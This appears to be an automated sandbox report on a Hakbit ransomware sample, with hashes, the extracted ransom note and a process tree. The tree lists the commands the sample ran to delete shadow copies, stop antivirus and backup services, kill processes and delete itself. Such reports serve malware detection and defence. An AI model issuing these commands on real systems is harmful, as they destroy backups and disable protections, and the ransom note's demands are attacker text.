Overview

overview

10

Static

static

10dc9cb125...le.exe

windows7_x64

10

10dc9cb125...le.exe

windows10_x64

9

Analysis

  • max time kernel
    77s
  • max time network
    61s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    26-07-2021 12:40

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General

  • Target

    10dc9cb12580bc99f039b1c084ca6f136047ac4d5555ad90a7b682a2ffac4dc5.sample.exe

  • Size

    61KB

  • MD5

    2a66b3b2638dfc5dfcf8aaf825993269

  • SHA1

    4e04822d6b8c3087be0550dba96f0c80d84359f8

  • SHA256

    10dc9cb12580bc99f039b1c084ca6f136047ac4d5555ad90a7b682a2ffac4dc5

  • SHA512

    1d63645dc8564057367ed295cb56b0aebdb071b652786d67ae2d9fc0371a034231ace703001bc353b303000fde0c6f9774a120ace83b665964278f8e7127c435

Score
10/10
hakbitransomwarespywarestealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HELP_ME_RECOVER_MY_FILES.txt

Family

hakbit

Ransom Note
Atention! all your important files were encrypted! to get your files back send 1 Bitcoins and contact us with proof of payment and your Unique Identifier Key. We will send you a decryption tool with your personal decryption password. Where can you buy Bitcoins: https://www.coinbase.com https://localbitcoins.com Contact: [email protected] [email protected] Bitcoin wallet to make the transfer to is: 1F9i1vpfGfKXaUqhhgTmxe9Y2aS8stSGvR1F9i1vpfGfKXaUqhhgTmxe9Y2aS8stSGvR Unique Identifier Key (must be sent to us together with proof of payment): ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ MP20BmgzYCXvImRatoGL+q+WvgnrNvM4H7wmIZQet5imyu8Lk6Ps0IgChbYpAvcV1LlaXRk5l4NIStrUFPszW/5lTfH2CIdAz7VSA/eVWg3qkxG+0hURjLNCnBqJt4WPmQsG4h9VzYPWBCiFOZ7+Gva1ailSHx0Itu2oKOjH4fQbkklXqeVC/FCc3QduTj0MrPgjnK20NYBtqP5DkV5d7jnXNU+eAasZXS0fN3zBariWU8D+BdoQlE/zHz0XseJv3gY47A+4qsGwBp8WxWhr/ICtnISf3luOQ9xjEt1e+TRIAKH7B+OGpbVCexLIy3v/6B59UzAUOJ+zPY/ECxSHQw== ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Signatures

  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

    ransomwarehakbit
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 5 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 18 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 14 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 3 IoCs
    evasion
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\10dc9cb12580bc99f039b1c084ca6f136047ac4d5555ad90a7b682a2ffac4dc5.sample.exe
    "C:\Users\Admin\AppData\Local\Temp\10dc9cb12580bc99f039b1c084ca6f136047ac4d5555ad90a7b682a2ffac4dc5.sample.exe"
    1⤵
    • Modifies extensions of user files
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Windows\system32\net.exe
      "net.exe" stop avpsus /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop avpsus /y
        3⤵
          PID:1972
      • C:\Windows\system32\net.exe
        "net.exe" stop McAfeeDLPAgentService /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1848
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
          3⤵
            PID:1832
        • C:\Windows\system32\net.exe
          "net.exe" stop mfewc /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1792
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop mfewc /y
            3⤵
              PID:1880
          • C:\Windows\system32\net.exe
            "net.exe" stop BMR Boot Service /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop BMR Boot Service /y
              3⤵
                PID:604
            • C:\Windows\system32\net.exe
              "net.exe" stop NetBackup BMR MTFTP Service /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1384
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
                3⤵
                  PID:1532
              • C:\Windows\system32\sc.exe
                "sc.exe" config SQLTELEMETRY start= disabled
                2⤵
                  PID:1624
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                  2⤵
                    PID:1520
                  • C:\Windows\system32\sc.exe
                    "sc.exe" config SQLWriter start= disabled
                    2⤵
                      PID:1588
                    • C:\Windows\system32\sc.exe
                      "sc.exe" config SstpSvc start= disabled
                      2⤵
                        PID:1108
                      • C:\Windows\system32\taskkill.exe
                        "taskkill.exe" /IM mspub.exe /F
                        2⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1636
                      • C:\Windows\system32\taskkill.exe
                        "taskkill.exe" /IM mydesktopqos.exe /F
                        2⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1876
                      • C:\Windows\system32\taskkill.exe
                        "taskkill.exe" /IM mydesktopservice.exe /F
                        2⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1796
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" Delete Shadows /all /quiet
                        2⤵
                        • Interacts with shadow copies
                        PID:1420
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
                        2⤵
                        • Interacts with shadow copies
                        PID:1020
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
                        2⤵
                        • Interacts with shadow copies
                        PID:1988
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1860
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1380
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1608
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:216
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:604
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1740
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1808
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1580
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:208
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:936
                      • C:\Windows\system32\vssadmin.exe
                        "vssadmin.exe" Delete Shadows /all /quiet
                        2⤵
                        • Interacts with shadow copies
                        PID:1800
                      • C:\Windows\system32\arp.exe
                        "arp" -a
                        2⤵
                          PID:1492
                        • C:\Windows\System32\notepad.exe
                          "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HELP_ME_RECOVER_MY_FILES.txt
                          2⤵
                          • Opens file in notepad (likely ransom note)
                          PID:1500
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\10dc9cb12580bc99f039b1c084ca6f136047ac4d5555ad90a7b682a2ffac4dc5.sample.exe
                          2⤵
                          • Deletes itself
                          PID:1892
                          • C:\Windows\system32\choice.exe
                            choice /C Y /N /D Y /T 3
                            3⤵
                              PID:1780
                        • C:\Windows\system32\vssvc.exe
                          C:\Windows\system32\vssvc.exe
                          1⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1628

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • memory/1500-96-0x000007FEFB881000-0x000007FEFB883000-memory.dmp

                          Filesize

                          8KB

                          Download

                        • memory/1844-60-0x0000000000F20000-0x0000000000F21000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1844-62-0x000000001AEE0000-0x000000001AEE2000-memory.dmp

                          Filesize

                          8KB

                          Download